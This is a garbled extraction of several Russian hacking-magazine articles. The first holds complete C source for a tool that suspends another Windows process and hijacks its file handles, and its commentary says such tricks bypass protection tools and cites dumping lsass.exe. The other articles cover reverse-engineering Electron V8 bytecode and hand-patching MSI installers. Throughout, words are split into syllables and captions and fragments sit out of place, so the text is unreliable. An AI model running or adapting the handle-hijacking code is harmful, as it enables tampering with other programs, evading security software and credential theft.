hTargetProcess, &hRemoteReplacedHandle, 0, 0, DUPLICATE_SAME_ACCESS)
== 0)
 {
    return 1;
 }

 // ensure that the new remote handle matches the original value
   if(hRemoteReplacedHandle != hExistingRemoteHandle)
 {
    return 1;
 }

  return 0;
}

     
 

DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName,
HANDLE hReplaceLocalHandle)
{
    HANDLE hProcess = NULL;
    HANDLE hClonedFileHandle = NULL;
    DWORD dwFileHandleObjectType = 0;
    DWORD dwThreadExitCode = 0;
    DWORD dwThreadID = 0;
    HANDLE hThread = NULL;
  GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
    char *pLastSlash = NULL;
    DWORD dwHijackCount = 0;

 // calculate the object type index for file handles on this system
   if(GetFileHandleObjectType(&dwFileHandleObjectType) != 0)
 {
    return 1;
 }

  printf("Opening process: %u...\n", dwTargetPID);

 // open target process
      
 
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME,

0, dwTargetPID);
   if(hProcess == NULL)
 {
    return 1;
 }

 // suspend target process
   if(NtSuspendProcess(hProcess) != 0)
 {
   CloseHandle(hProcess);

    return 1;
 }

 // get system handle list
   if(GetSystemHandleList() != 0)
 {
   NtResumeProcess(hProcess);
   CloseHandle(hProcess);

    return 1;
 }

        for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++
)
 {
   // ensure this handle is a file handle object
     if(pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex !=
dwFileHandleObjectType)
   {
     continue;
   }

   // ensure this handle is in the target process
     if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId !=
dwTargetPID)
   {
     continue;
   }

   // clone file handle
    

   
    

if(DuplicateHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->
HandleList[i].HandleValue, GetCurrentProcess(), &hClonedFileHandle, 0
, 0, DUPLICATE_SAME_ACCESS) == 0)
   {
     continue;
   }

   // get the file path of the current handle — do this in a new 
thread to prevent deadlocks
     memset((void*)&GetFileHandlePathThreadParam, 0, sizeof(
GetFileHandlePathThreadParam));
     GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
        

  
hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void*)&

GetFileHandlePathThreadParam, 0, &dwThreadID);
     if(hThread == NULL)
   {
     CloseHandle(hClonedFileHandle);
     continue;
   }

   // wait for thread to finish (1 second time out)
      if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0)
   {
     // time out — kill thread

      TerminateThread(hThread, 1);

     CloseHandle(hThread);
     CloseHandle(hClonedFileHandle);
     continue;
   }

   // close cloned file handle
   CloseHandle(hClonedFileHandle);

   // check exit code of temporary thread
    GetExitCodeThread(hThread, &dwThreadExitCode);
     if(dwThreadExitCode != 0)
   {
     // failed
     CloseHandle(hThread);
     continue;
   }

   // close thread handle
   CloseHandle(hThread);

   // get last slash in path
      pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\');
     if(pLastSlash == NULL)
   {
     continue;
   }

   // check if this is the target filename
   pLastSlash++;
      if(stricmp(pLastSlash, pTargetFileName) != 0)
   {
     continue;
   }

   // found matching filename
    

 
printf("Found remote file handle: "%s" (Handle ID: 0x%X)\n",

GetFileHandlePathThreadParam.szPath, pGlobal_SystemHandleInfo->
HandleList[i].HandleValue);
   dwHijackCount++;

   // replace the remote file handle
    

   
if(ReplaceFileHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->

HandleList[i].HandleValue, hReplaceLocalHandle) == 0)
   {
     // handle replaced successfully
     printf("Remote file handle hijacked successfully\n\n");
   }
   else
   {
     // failed to hijack handle
     printf("Failed to hijack remote file handle\n\n");
   }
 }

 // resume process
   if(NtResumeProcess(hProcess) != 0)
 {
   CloseHandle(hProcess);

    return 1;
 }

 // clean up
 CloseHandle(hProcess);

 // ensure at least one matching file handle was found
   if(dwHijackCount == 0)
 {
   printf("No matching file handles found\n");

    return 1;
 }

  return 0;
}

 DWORD GetNtdllFunctions()
{
 // get NtQueryInformationFile ptr
        

   
 

NtQueryInformationFile = (unsigned long (__stdcall *)(void *,void *
,void *,unsigned long,unsigned long))GetProcAddress(GetModuleHandle(
"ntdll.dll"), "NtQueryInformationFile");
   if(NtQueryInformationFile == NULL)
 {
    return 1;
 }

 // get NtQuerySystemInformation ptr
       

    
 

NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned
long,void *,unsigned long,unsigned long *))GetProcAddress(
GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
   if(NtQuerySystemInformation == NULL)
 {
    return 1;
 }

 // get NtSuspendProcess ptr
       

 
NtSuspendProcess = (unsigned long (__stdcall *)(void *))

GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
   if(NtSuspendProcess == NULL)
 {
    return 1;
 }

 // get NtResumeProcess ptr
       

 
NtResumeProcess = (unsigned long (__stdcall *)(void *))

GetProcAddress(GetModuleHandle("ntdll.dll"), "NtResumeProcess");
   if(NtResumeProcess == NULL)
 {
    return 1;
 }

  return 0;
}

    int main(int argc, char *argv[])
{
    DWORD dwPID = 0;
    char *pTargetFileName = NULL;
    char *pNewFilePath = NULL;
    HANDLE hFile = NULL;

 printf("HijackFileHandle - www.x86matthew.com\n\n");

   if(argc != 4)
 {
    printf("%s <target_pid> <target_file_name> <new_file_path>\n\n",
argv[0]);
    return 1;
 }

 // get params
   dwPID = atoi(argv[1]);
   pTargetFileName = argv[2];
   pNewFilePath = argv[3];

 // get ntdll function ptrs
   if(GetNtdllFunctions() != 0)
 {
    return 1;
 }

 // create new output file
       

      
hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
   if(hFile == INVALID_HANDLE_VALUE)
 {
   printf("Failed to create file\n");

    return 1;
 }

 // hijack file handle in target process
     if(HijackFileHandle(dwPID, pTargetFileName, hFile) != 0)
 {
   printf("Error\n");

   // error — delete output file
   CloseHandle(hFile);
   DeleteFile(pNewFilePath);

    return 1;
 }

 // close local file handle
 CloseHandle(hFile);

 printf("Finished\n");

  return 0;
}

В дан ном слу чае инс тру мент тре бует нес коль ко аргу мен тов коман дной стро- 
ки.

   HijackFileHandle.exe <target_pid> <target_file_name> <new_file_path>

Здесь ука зыва ется PID ата куемо го про цес са и име на фай лов. Пер вым идет
файл, который нуж но под менить, а вто рым — на что под менять.

ÂÛÂÎÄÛ

Бы вает кру то взгля нуть на при выч ные вещи под дру гим углом! Иног да получе- 
ние хен длов необыч ным обра зом помога ет обхо дить средс тва защиты. Тот
же  на момент выхода отлично дам пил про цесс .MalSecLogon lsass.exe

https://www.x86matthew.com/view_post?id=hijack_file_handle
https://github.com/antonioCoco/MalSeclogon


МВК

ВЗЛОМ

Ког да-то ком пания Positive Technology раз- 
работа ла собс твен ный пла гин для деком- 
пилято ра Ghidra, поз воля ющий иссле- 
довать веб-при ложе ния на Electron,
в которых исполь зует ся ском пилиро ван ный
бинар ный код V8 JSC. C тех пор сме нилось
мно го вер сий Node.js, фор мат кар диналь но
поменял ся, в резуль тате сущес тву ющие
перес тали работать. В этой статье я
покажу, как самос тоятель но без деком- 
пилято ра отла живать бинар ный JS-
байт-код про изволь ной вер сии.

Се год ня мы погово рим о при ложе ниях, соз данных при помощи 
. Этот фрей мворк — клас сичес кий при мер инс тру мен та, с помощью

которо го любой прод винутый вер сталь щик может почувс тво вать себя пол- 
ноцен ным раз работ чиком кросс-плат формен ных прог рам мных пакетов. То
есть Electron может скон верти ровать сайт в самодос таточ ное (хотя и нес- 
коль ко неук люжее) при ложе ние. Надо ли говорить, что тех нология получи ла
дос таточ но широкое рас простра нение. Если верить , на этой
плат форме реали зова но мно жес тво популяр ных при ложе ний — мес сен дже- 
ры Skype и Discord, редак торы для кода Visual Studio Code и Atom и дру гие.

сре ды
Electron

статье на Хаб ре

Про этот фрей мворк написа но мно жес тво ста тей (жела ющие могут изу- 
чить, нап ример,  или 

). Одна ко наш инте рес к нему лежит нес коль ко в иной плос кости.
По тра диции мы поп робу ем пре пари ровать готовое при ложе ние Electron
на пред мет иссле дова ния его внут ренней струк туры, отладки, ревер са, воз- 
можной доработ ки и исправ ления багов.

ру ководс тво для начина ющих крат кое руководс тво
по Electron

Итак, у нас име ется при ложе ние, при откры тии исполня емо го модуля
которо го (надо ска зать, весь ма упи тан ного — боль ше сот ни мегабайт) Detect
It Easy выда ет сле дующую информа цию.

Ес ли ты уже слег ка зна ком с пакетом Electron или успел бег ло про читать
пред ложен ные выше статьи, то чудовищ ный раз мер исполня емо го фай ла
тебя не уди вит — ведь, по сути, исполня емый модуль пред став ляет собой
слег ка опти мизи рован ную вер сию бра узе ра Chromium + Node. В ней запус- 
кает ся код JavaScript, на котором, собс твен но, и написа на основная логика
при ложе ния. Этот код и про чие HTML-пот роха могут лежать в откры том
и проз рачном для иссле дова ния виде (этот слу чай нам неин тересен, как три- 
виаль ный). Так же они могут быть соб раны или упа кова ны в отдель ный ресурс
спе циаль ного вида  — тут воз можны слож ности, но мы пока не будем их
касать ся. Еще ресур сы могут быть час тично откомпи лиро ваны в натив
в исполня емом фай ле (обыч но так и есть). А иног да они откомпи лиро ваны
целиком, сей час мы этот вари ант так же под робно рас смат ривать не будем.
Мы нач нем с прос того слу чая: ядро Node ском пилиро вано в натив, а JS-
скрип ты интер пре тиру ются ядром в виде байт-кода.

asar

Ос тановим ся попод робнее на этом момен те. Для тех, кто не читал мои
пре дыду щие статьи (нап ример, «

» или « »),
пояс ню, что акту аль ные скрип товые плат формы (Java, .NET и дру гие) работа- 
ют по такому основно му алго рит му. Для удобс тва и ско рос ти скрипт ком- 
пилиру ется в про межу точ ный кросс-плат формен ный байт-код, который уже
при работе прог раммы, по мере вызова методов и клас сов, или интер пре- 
тиру ется интер пре тато ром, или кон верти рует ся в исполня емый натив ный код
встро енным JIT-ком пилято ром. Это спра вед ливо и для JavaScript, для которо- 
го при дума но мно жес тво интер пре тато ров: V8, SpiderMonkey, Chakra, Rhino,
KJS, Nashorn и дру гие. Даже в Adobe соз дали свой собс твен ный дви жок,
про который я тоже в свое вре мя .

Ре вер синг .NET. Как искать JIT-ком пилятор
в при ложе ниях Без защит ная Java. Лома ем Java bytecode encryption

на писал статью
Нас же инте ресу ет встро енный в Electron дви жок Chrome V8. В нем име- 

ется пакет bytenote, поз воля ющий сох ранить исходный скрипт в виде сери- 
али зован ного пред став ления байт-кода V8, которое выпол няет ся так же, как и
сам скрипт. Этот фор мат име ет рас ширение  и час тень ко исполь зует ся
для обфуска ции как в самом пакете Electron, так и в дру гих сер верных при- 
ложе ниях, написан ных на язы ке JavaScript.

.JSC

Упо мяну тый фор мат мало изу чен: три года назад груп па Positive
Technologies оза боти лась его ревер сом и про вела иссле дова ние байт-кода
вер сии 8.16.0, резуль татом чего ста ли  . Я рекомен дую озна- 
комить ся с ними самос тоятель но для пущего понима ния пред метной
области.

нес коль ко ста тей

Еще одним резуль татом иссле дова ния ста ло появ ление 
, спо соб ного работать с JSC-фай лами вер- 

сии 8.16.0. К сожале нию, пос ле это го инте рес к теме у иссле дова телей угас.
Нес мотря на то что с тех пор было выпуще но еще нес коль ко про ектов
для ревер са бинар ного кода JS (нап ример, 
или ), вер сии Node.js меня ются с такой быс тро той, что
на текущий момент все эти про екты без надеж но уста рели. Поэто му я на при- 
мере байт-кода вер сии 10.2.154.26 (JSC-сиг натура )

попыта юсь рас ска зать, как самос тоятель но без деком пилято ра иссле довать
и отла живать бинар ный JS-байт-код про изволь ной вер сии при помощи
отладчи ка x64dbg и IDA.

пла гина
для деком пилято ра Ghidra

jsc-decompile-mozjs-34
cocos2d-jsc-decompiler

A905 DEC0 866CEBA8

За пус тив прог рамму из это го отладчи ка, мы обна ружи ваем, что она
не оста нав лива ется ни на одном брейк-пой нте из забот ливо раз мечен ных
нами по резуль татам изу чения кода в IDA. Даже на тех, под которы ми по всем
резонам при ложе ние дол жно оста нав ливать ся обя затель но (нап ример, бря ки
на вывод сооб щений в кон соль). Пос мотрев в спи сок активных задач, вспо- 
мина ем еще одну недоб рую фиш ку ком пилиро ван ных скрип товых язы ков:
прог рамма для рас парал лелива ния каких-то внут ренних про цес сов запус кает
нес коль ко собс твен ных копий с раз ными парамет рами. Так дела ет и бра узер,
уре зан ной вер сией которо го наша прог рамма, по сути, и явля ется.

Как мы вык ручива лись из подоб ного зат рудне ния в прош лые разы? Тупо
атта чились ко всем копи ям прог раммы (в при ори тете про цес сы с заголов ком
активно го окна или ) и про веря ли, какая копия исполня ет нуж- 

ный нам код, оста нав лива ясь на бря ках. Или же вар вар ски оста нав ливали код
в нуж ной точ ке, вби вая туда корот кий , тем самым
зацик ливая прог рамму в дан ном мес те.

Chrome_Widget

jmp self (0xEB,0xFE)

Вто рой спо соб под ходит нам даже боль ше, пос коль ку нуж ное мес то мгно вен- 
но прос какива ет при заг рузке и руками при тор мозить в нем прог рамму мы
никак не успе ваем. А так при ложе ние прос то зависа ет в дан ной точ ке,
и затор можен ный про цесс дос таточ но отсле дить, при атта чив шись к нему
отладчи ком, или раз бло киро вать, вер нув исходный код на мес то и про дол жив
пос ле это го выпол нение про цес са.

Я наз вал опи сан ный спо соб вар вар ским, потому что так делать мож но
далеко не всег да. Запущен ные про цес сы вза имо дей ству ют меж ду собой:
посыла ют зап росы, получа ют отве ты, и, если ответ не пос тупа ет через опре- 
делен ное вре мя, про цесс впол не может совер шить сэп пуку по тайм-ауту.
В час тнос ти, иссле дуемый нами Electron отсле жива ет тай минг про хож дения
про цес сов (я так понимаю, не из каких-то парано идаль ных побуж дений,
это обыч ная фича любого бра узе ра). Но, по счастью, в нашем слу чае ничего
катас тро фичес кого при ложе ние не дела ет, огра ничи ваясь пре дуп режде- 
ниями о подоз ритель ной небезо пас ности про исхо дяще го.

Итак, у нас получи лось оста новить ся в нуж ном мес те прог раммы. Открыв
стек вызовов, мы обна ружи ваем, что отла жива емый нами EXE-модуль, нес- 
мотря на всю свою раз дутость, явля ется весь ма неболь шой частью прог- 
раммы (откомпи лиро ван ным в натив ядром V8), которая вызыва ется из JIT-
ком пилиро ван ного кода.

Ад рес перехо да меж ду интер пре тато ром (выделе но крас ным) и ском пилиро- 
ван ными в натив биб лиоте ками ядра Node (выделе но синим) мы видим
на сте ке вызовов. Интер пре татор ском пилиро ван ного байт-кода выг лядит
при мер но так:

... 
00007FF6BFE4BCDA | 4D:8BBD A8450000 | mov r15,qword ptr ds:[r13+45A8] 
// r12 — указатель на байт-код метода; r9 — программный счетчик
// r9 — текущий опкод 
00007FF6BFE4BCE1 | 47:0FB6140C      | movzx r10d,byte ptr ds:[r12+r9] 
// Таблица обработчиков опкодов 
00007FF6BFE4BCE6 | 4B:8B0CD7        | mov rcx,qword ptr 
ds:[r15+r10*8] 
// Вызов обработчика опкода 
00007FF6BFE4BCEA | FFD1             | call rcx 
// Восстановить указатель на байт-код 
00007FF6BFE4BCEC | 4C:8B65 E0       | mov r12,qword ptr ss:[rbp-20] 
// Восстановить zigzag-coded программный счетчик 
00007FF6BFE4BCF0 | 44:8B4D D8       | mov r9d,dword ptr ss:[rbp-28] 
00007FF6BFE4BCF4 | 41:D1E9          | shr r9d,1 
// bl — текущий байт-код 
00007FF6BFE4BCF7 | 43:0FB61C0C      | movzx ebx,byte ptr ds:[r12+r9] 
00007FF6BFE4BCFC | 4D:8BC1          | mov r8,r9 
// Указатель на количество параметров 
00007FF6BFE4BCFF | 49:8B8D 281B0000 | mov rcx,qword ptr ds:[r13+1B28] 
00007FF6BFE4BD06 | 80FB 03          | cmp bl,3 
// Если команда не префикс — переход 
00007FF6BFE4BD09 | 77 1D            | ja 7FF6BFE4BD28 
// Следующий байт за префиксом 
00007FF6BFE4BD0B | 41:FFC1          | inc r9d 
// Префикс Wide или ExtraWide? 
00007FF6BFE4BD0E | F6C3 01          | test bl,1 
// Получаем опкод, следующий за префиксом 
00007FF6BFE4BD11 | 43:0FB61C0C      | movzx ebx,byte ptr ds:[r12+r9] 
00007FF6BFE4BD16 | 75 09            | jne 7FF6BFE4BD21 
// Префикс Wide — смещение в таблице параметров +0xC6 
00007FF6BFE4BD18 | 48:81C1 C6000000 | add rcx,C6 
00007FF6BFE4BD1F | EB 07            | jmp 7FF6BFE4BD28 
// Префикс ExtraWide — смещение в таблице параметров +0xC6 
00007FF6BFE4BD21 | 48:81C1 8C010000 | add rcx,18C 
// Выход из метода, если опкод Return 
00007FF6BFE4BD28 | 80FB A9          | cmp bl,A9 
00007FF6BFE4BD2B | 0F84 1D000000    | je 7FF6BFE4BD4E 
// Выход из метода, если опкод SuspendGenerator 
00007FF6BFE4BD31 | 80FB AF          | cmp bl,AF 
00007FF6BFE4BD34 | 0F84 14000000    | je 7FF6BFE4BD4E 
// Если опкод JumpLoop, то никуда не двигаться 
00007FF6BFE4BD3A | 80FB 89          | cmp bl,89 
00007FF6BFE4BD3D | 75 05            | jne 7FF6BFE4BD44 
00007FF6BFE4BD3F | 4D:8BC8          | mov r9,r8 
00007FF6BFE4BD42 | EB 08            | jmp 7FF6BFE4BD4C 
// r10 — количество параметров команды 
00007FF6BFE4BD44 | 44:0FB61419      | movzx r10d,byte ptr 
ds:[rcx+rbx] 
// Сдвигаем программный счетчик на него и переходим к обработке 
следующего опкода 
00007FF6BFE4BD49 | 45:03CA          | add r9d,r10d 
00007FF6BFE4BD4C | EB 8C            | jmp 7FF6BFE4BCDA 
00007FF6BFE4BD4E | 48:8B5D E0       | mov rbx,qword ptr ss:[rbp-20] 
... 

Как видишь, отсю да мож но получить дли ны всех обра баты ваемых интер пре- 
тато ром опко дов. Для начала чуть про ясню, что такое пре фик сы 

и  и почему на опко ды с ними положе ны раз ные таб лицы. Как ска- 
зано в , в зависи мос ти от дли ны опе ран дов каж дая
инс трук ция име ет три вари анта — обыч ный (1-бай товые опе ран ды), Wide (2-
бай товые опе ран ды) и ExtraWide (4-бай товые опе ран ды). В новой вер сии
добави лось еще два пре фик са — отла доч ные, соот ветс твен но, тоже в вари- 
антах  и .

Wide
ExtraWide

упо мяну той мной статье

Wide ExtraWide
Поп робу ем вытащить мне мони ку новой сис темы команд. Конеч но же,

интер пре татор содер жит таб лицу внут ренних имен всех инс трук ций, ведь они
нуж ны для отла доч ной печати при обра бот ке оши бок. Нем ного покурив код
обра бот чиков таких оши бок в IDA, натыка емся на такой слож ный ,

в котором каж дому опко ду соот ветс тву ет имя инс трук ции:

case

... 

.text:00144A71AE0   cmp     cl, 0C5h            ; switch 198 cases 

.text:00144A71AE3   ja      def_144A71B01       ; jumptable 
0000000144A71B01 default case 
.text:00144A71AE9   lea     rax, aWide_0        ; "Wide" 
.text:00144A71AF0   movzx   ecx, cl 
.text:00144A71AF3   lea     rdx, jpt_144A71B01 
.text:00144A71AFA   movsxd  rcx, ds:(jpt_144A71B01 - 
144A72130h)[rdx+rcx*4] 
.text:00144A71AFE   add     rcx, rdx 
.text:00144A71B01   jmp     rcx                 ; switch jump 

.text:00144A71B03   loc_144A71B03:              ; CODE XREF: sub_
144A71AE0+21↑j 
.text:00144A71B03   lea     rax, aExtrawide     ; jumptable 
0000000144A71B01 case 1 

.text:00144A71B0A   locret_144A71B0A:           ; CODE XREF: sub_
144A71AE0+21↑j 
.text:00144A71B0A   retn                        ; jumptable 
0000000144A71B01 case 0 

.text:00144A71B0B   loc_144A71B0B:              ; CODE XREF: sub_
144A71AE0+21↑j 
.text:00144A71B0B   lea     rax, aDebugbreak4   ; jumptable 
0000000144A71B01 case 8 
.text:00144A71B12   retn 
... 

Ито го у нас есть 198 инс трук ций байт-кода с мне мони ками и дли ной для каж- 
дого из них.

Как мы уже зна ем из , эти инс трук ции делят ся
на сле дующие груп пы:

статьи Positive Technologies

заг рузка/запись в акку муля тор;•
ра бота с регис тра ми;•
ма тема тика;•
бу левы опе рации;•
сдви говые, мно гоце левые встро енные инс трук ции;•
инс трук ции срав нения;•
соз дание объ ектов;•
ус ловные перехо ды;•
цик лы;•
инс трук ции генера ции исклю чений;•
инс трук ции отладки;•
вет вле ния.•

Ес ли срав нить с таб лицей инс трук ций вер сии 8.16.0 в упо мяну той выше
статье, сис тема команд пре тер пела очень серь езные изме нения: добави лось
два пре фик са, общее количес тво команд уве личи лось сo 167 до 198, при чем
некото рые из них (нап ример, ) были убра ны. Хотя мы пока толь ко

догады ваем ся о фор мате вызова и наз начении каж дой коман ды, их лег ко
мож но разоб рать, иссле довав реали зацию обра бот чиков (ведь таб лица их
адре сов у нас име ется).

StackCheck

Эта информа ция пред став ляет собой неп лохой задел для допили вания
пла гина от Positive Technologies или даже для написа ния собс твен ного деком- 
пилято ра, но пре дос тавляю читате лям занимать ся этим самос тоятель но, пос- 
коль ку цель у нас дру гая — научить ся иссле довать это при ложе ние в отладчи- 
ке.

Те перь неп лохо бы разоб рать ся, в каком мес те прог раммы мы находим ся
(стек вызовов, име на клас сов и методов и так далее). Перечис ленные дан ные
у прог раммы есть стоп роцен тно, ведь при воз никно вении ошиб ки она радос- 
тно отправ ляет этот стек вызовов в лог и кон соль в сле дующем виде:

at Decipher.createCipherBase (node:internal/crypto/cipher:114:19)
at Decipher.createCipher (node:internal/crypto/cipher:127:3)
at new Decipher (node:internal/crypto/cipher:273:3)
at Object.createDecipher (node:crypto:142:10)
at Object.deprecated (node:internal/util:124:12)
at EncryptStorage.decryptString (evalmachine.<anonymous>:1:10466)
at EncryptStorage.loadDataFile (evalmachine.<anonymous>:1:11003)
at new EncryptStorage (evalmachine.<anonymous>:1:9839)
at Object.<anonymous> (evalmachine.<anonymous>:1:11423)

C:at Module._extensions.<computed> [as .jsc] ( \Program Files\E
lectron\resources\app.asar\node_modules\bytenode\index.js:220:26)

Про цеду ру рас печат ки сте ка вызовов мы так же находим в обра бот чике оши- 
бок. В V8 сущес тву ет целый занима ющий ся этим класс , он име- 
ется в исходни ках Node и , поэто му пра виль но
было бы начать иссле дова ние с его раз бора. Одна ко сво бод ного вре мени
у нас не так мно го, а любопытс тво рас пира ет, поэто му пой дем более быс- 
трым путем.

StackTrace
неп лохо задоку мен тирован

Ког да мы раз бирали цикл интер пре тато ра, я в ком мента риях заметил, что
регистр  ука зыва ет на байт-код метода. Ты, навер ное, подумал, что име- 

ется в виду ука затель на пер вый опкод метода, но это не сов сем так.
На самом деле име ется в виду объ ект в памяти, в который заг ружен байт-код
метода. Выг лядит он вот так.

r12

На скрин шоте вид но, что это байт сиг натуры объ екта  (выделе но крас- 

ным), то есть объ ект содер жит байт-код метода. Нес мотря на то что прог рам- 
мный счет чик отсчи тыва ет сме щение от начала обь екта, собс твен но байт-код
начина ется толь ко со сме щения  (выделе но зеленым) Нас же инте ресу- 

ет 32-бит ное сло во  по сме щению 7 от начала объ екта. При бавим

к нему базу фрей ма  и перей дем по получен ному сме щению.

0x2A

0x21
0x00423401
0x1AC00000000

Вро де бы ничего при меча тель ного, одна ко сиг натура объ екта  (выделе-

но крас ным) озна чает, что объ ект содер жит тек сто вую стро ку. Где же сама
тек сто вая стро ка? Если ты про читал статью Positive Technologies, то пом нишь:
ког да объ ект уже был сери али зован и встре чает ся сно ва, то в бинар ном
потоке такой объ ект не дуб лиру ется, а записы вает ся как ссыл ка на его пер- 
вое вхож дение. И эта ссыл ка будет чис лом — сме щени ем в куче (такая тех- 
ника называ ется Pointer Compression, ког да ука затель мож но записать в виде
сме щения отно ситель но базы). А потому не расс тра иваем ся, а сно ва берем
сло во по сме щению 7 от начала объ екта (выделе но синим) и еще разок про- 
делы ваем над ним ту же опе рацию, что бы получить сме щение до сле дующе го
объ екта.

0x22

На этот раз уда ча на нашей сто роне: получен ный объ ект дей стви тель но
содер жит стро ку (выделе но зеленым) со счет чиком (выделе но синим). Это и
есть имя нашего метода — .getOptions

Итак, имя исполня емо го метода у нас есть, поп робу ем теперь разоб рать
стек вызовов, не свя зыва ясь со .StackTrace

Вид но, что при каж дом вызове интер пре тато ра адрес содер жащего байт-код
объ екта (выделе но крас ным) сох раня ется в локаль ной перемен ной 

от адре са воз вра та, а текущее сме щение в нем (выделе но зеленым) —
в локаль ной перемен ной  от адре са воз вра та.

+0x28

+0x30
Под ведем ито ги того, чему мы научи лись в этой статье. Теперь мы,

при извес тной сно ров ке, можем исполь зовать x64dbg как пол ноцен ный
отладчик бинар ного JSC-кода любой вер сии: при про изволь ном оста нове
опре деля ем текущее мес то вызова в исходном коде JavaScript и пос ледова- 
тель ность вызовов, с помощью которой мы к нему приш ли. Уста нав лива ем
брейк-пой нты на условные и безус ловные перехо ды, методы и обра щения
к литера лам с пос леду ющей трас сиров кой байт-кода и захода ми в методы.
А затем пра вим байт-код на лету пря мо в заг ружен ном в память виде с пос- 
леду ющим перено сом в исходник.

И самое глав ное — не боги гор шки обжи гают: каж дый при желании может
самос тоятель но получить дос таточ но информа ции и допилить готовые
решения до пол ноцен ного деком пилято ра любой вер сии байт-кода.

https://ru.wikipedia.org/wiki/Electron_(%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA)
https://habr.com/ru/companies/ruvds/articles/436466/
https://www.electronjs.org/ru/docs/latest/tutorial/quick-start
https://heaad.ru/blog/electron-js-kratkoe-rukovodstvo/
https://github.com/electron/asar
https://xakep.ru/2021/03/04/dotnet-reversing/
https://xakep.ru/2022/04/26/java-bytecode-encryption/
https://xakep.ru/2020/10/08/jsxbin-crack/
https://habr.com/ru/companies/pt/articles/514292/
https://habr.com/ru/companies/pt/articles/554036/
https://github.com/PositiveTechnologies/ghidra_nodejs
https://github.com/irelance/jsc-decompile-mozjs-34
https://github.com/takaaptech/cocos2d-jsc-decompiler
https://habr.com/ru/companies/pt/articles/551540/
https://habr.com/ru/companies/pt/articles/551540/
https://v8.dev/docs/stack-trace-api


МВК

ВЗЛОМ

MSI — самый популяр ный фор мат инстал- 
ляторов. Для редак тирова ния таких уста- 
новоч ных пакетов при дума но мно го удоб- 
ных инс тру мен тов, но они могут не сра- 
ботать, если инстал лятор содер жит набор
CAB-архи вов. Сегод ня я рас ска жу, как пра- 
вить дан ные внут ри инстал ляци онных
пакетов MSI в руч ном режиме, если дру- 
гими спо соба ми сде лать это не получа ется.

В сво их стать ях я пери оди чес ки под нимаю тему раз борки и пат ча инстал- 
ляци онных пакетов. На этот раз я хочу про дол жить тему, начатую в статье «

», —
руч ной пат чинг нес тандар тных MSI-пакетов, редак тировать которые тра дици- 
онны ми средс тва ми невоз можно. В той статье мы раз бирали прав ку и замену
уста новоч ного скрип та, а сей час поп робу ем поменять дан ные в инстал лиру- 
емых фай лах.

Ло- 
маем инстал лятор. Как обма нуть инстал лятор MSI методом для ленивых

Итак, нам нуж но внес ти изме нения в инстал лятор MSI, нап ример заменить
в нем один содер жащий ся в CAB-архи ве файл дру гим. В свя зи с вос тре- 
бован ностью задачи умные люди при дума ли мно жес тво редак торов MSI-
пакетов раз ной сте пени прод винутос ти: , ,

,  и дру гие. Из них лич но я осо бо выделил бы Master Packager:
этот редак тор, на мой взгляд, наибо лее кор рек тно выпол няет раз борку,
редак тирова ние и пересох ранение MSI-пакетов раз личной слож ности.

Advanced Installer Master Packager
Orka MSI Editor

Пе речис ленные ути литы обла дают удоб ным и дру жес твен ным интерфей- 
сом, поз воля ющим даже неопыт ному поль зовате лю сесть и без под готов ки
прос то редак тировать фай лы, таб лицы и про чую логику инстал ляци онно го
про цес са. Собс твен но, на этом момен те и мож но было бы закон чить статью,
но, к сожале нию, в мире нет совер шенс тва. Иног да попада ются MSI-пакеты,
которые нель зя прос то так взять и открыть, отре дак тировать и пересох ранить
с исполь зовани ем подоб ного редак тора, не нарушив их работос пособ ность.

При чем разоб рать пакет на сос тавля ющие его фай лы и таб лицы — как раз
задача нес ложная, проб лемы начина ются имен но в про цес се переком- 
пиляции пат ченно го фай ла. В прин ципе, вытащить фай лы из инстал лятора
(как я уже писал в статье «

») мож но и без спец средств — прак тичес ки любой
нор маль ный архи ватор (7-Zip, WinRAR и дру гие) откры вает MSI, как архив.

Ло маем инстал лятор. Как обма нуть инстал лятор
MSI методом для ленивых

С помощью архи вато ра мож но извлечь отту да сос тавля ющие уста новоч- 
ный пакет CAB-фай лы, а они, в свою оче редь, так же откры вают ся мно гими
архи вато рами (собирать CAB из сос тавля ющих уме ют такие прог раммы,
как PowerArchiver, ACDzip или спе циали зиро ван ный Cabarc). О том,
как засунуть исправ ленный CAB обратно в MSI, я рас ска жу поз же.

В кон це кон цов, мож но раз ложить MSI на сос тавля ющие фай лы, минуя
про межу точ ные CAB, прос то запус тив  с клю чом  (при этом соз- 
дает ся пап ка со всем содер жимым пакета MSI). Есть еще более прод винутый
спо соб — нат равить на инстал ляци онный пакет ути литу с откры тым исходным
кодом . Она запус кает ся сле дующей коман дой:

msiexec /a

msi2xml

msi2xml -c files installation.msi 

При этом в каталог  рас паку ются все фай лы про екта из сос тавля ющих
его CAB, а так же соз дас тся файл пол ного опи сания про екта 

 со все ми таб лицами и логикой про цес са уста нов ки. С исполь зовани ем

это го фай ла ста новит ся воз можным соб рать инстал лятор коман дой

files
installation.

msi

xml2msi -m installation.xml 

Та кая низ коуров невая опе рация помога ет, если не работа ют опи сан ные
выше методы. Но, к сожале нию, пересоб ранный подоб ным спо собом инстал- 
лятор тоже не всег да ока зыва ется работос пособ ным. Дей стви тель но, быва ют
слу чаи, ког да авто мати зиро ван ные спо собы не сра баты вают. Нап ример, если
у нас име ется мно готом ный неп рерыв ный архив, в середи не которо го нуж но
поменять один файл, не тро гая осталь ную струк туру. По тра диции я рас ска жу,
как руками про пат чить файл в CAB-архи ве без его пол ной перепа ков ки.

Пер вым делом, как обыч но, изу чим . Поп робу ем разоб рать
